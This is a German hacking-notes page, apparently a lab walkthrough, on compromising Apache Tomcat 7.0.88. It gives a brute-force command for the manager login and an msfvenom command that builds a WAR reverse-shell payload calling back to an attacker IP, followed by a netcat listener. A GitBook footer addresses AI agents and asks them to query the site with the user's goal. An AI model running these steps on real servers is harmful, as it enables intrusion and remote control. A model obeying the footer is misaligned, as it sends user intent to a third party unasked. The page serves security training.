> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/cms/tomcat-cms-exploitation/tomcat-.war-file.md).

# Tomcat WAR-Datei

Notizen zu schwachen Tomcat-Manager-Credentials, WAR-Payload-Erstellung, Bereitstellung und Reverse Shell.

Auf Port 8080 läuft **Apache Tomcat**. `whatweb` identifiziert die Version **7.0.88**, die bekanntermaßen verwundbar ist.

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0ba230d66a5401d2639587c18073ee2c2245b6ec%2Fimage%20(1003).png?alt=media" alt=""><figcaption></figcaption></figure></div>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1383f6ee9dd62a2ad7c79d9e16c7fc013eded96f%2Fimage%20(1004).png?alt=media" alt=""><figcaption></figcaption></figure>

### Informationsleck

**Login zum Admin-Panel**

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-374127d7338f7fab4a6beb3f0bd9460a03c4330b%2Fimage%20(1005).png?alt=media" alt=""><figcaption></figcaption></figure>

Versuchen Sie, darauf zuzugreifen `/manager/html` mit Standardanmeldedaten wie `admin:admin`, aber es schlägt fehl.

{% embed url="<https://github.com/bl4de/security-tools/blob/master/apache-tomcat-login-bruteforce.py>" %}

**Brute-Force-Angriff auf Anmeldedaten**

Verwenden Sie die SecLists `tomcat-betterdefaultpasslist.txt` Wörterbuch, um Anmeldedaten per Brute Force zu knacken:

Verwenden Sie ein Python-Skript, um diese Aufgabe zu automatisieren:

```bash
python3 apache-tomcat-login-bruteforce.py -H 10.10.10.95 -p 8080 -P http
```

**Ergebnis:** Die gültigen Zugangsdaten sind:/ `tomcat:s3cret`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-436525c5ee4cba2f03eecf53ba238bad49c64b3a%2Fimage%20(1006).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cde9d6a0a85d7fdfda97e80b13a9452bb5228b85%2Fimage%20(1007).png?alt=media" alt=""><figcaption></figcaption></figure>

### Tomcat-Schwachstelle:

**1. WAR-Datei-Erstellung:**/ Verwende `msfvenom` um eine WAR-Datei mit einer Reverse Shell zu erstellen:

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=443 -f war -o reverse.war
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bb6d5ea38d998d3153a92c9f4b345e3f4891433b%2Fimage%20(1008).png?alt=media" alt=""><figcaption></figcaption></figure>

**2. Bereitstellung über den Tomcat Manager:**/ Laden Sie die WAR-Datei hoch über `/manager/html`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7d93f9969dce76ae1a6e01363164dbfc8461c299%2Fimage%20(1009).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**3. Listener für die Reverse Shell:**/ Richten Sie einen Listener ein, um die Reverse-Verbindung abzufangen:

```bash
rlwrap nc -nlvp 443
```

Das Auslösen der bereitgestellten Datei (`/reverse`) stellt eine interaktive Shell auf dem Ziel bereit.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d8e7eb9a9a376d66e5be5cfaa4a8a433a665cea9%2Fimage%20(1010).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/cms/tomcat-cms-exploitation/tomcat-.war-file.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
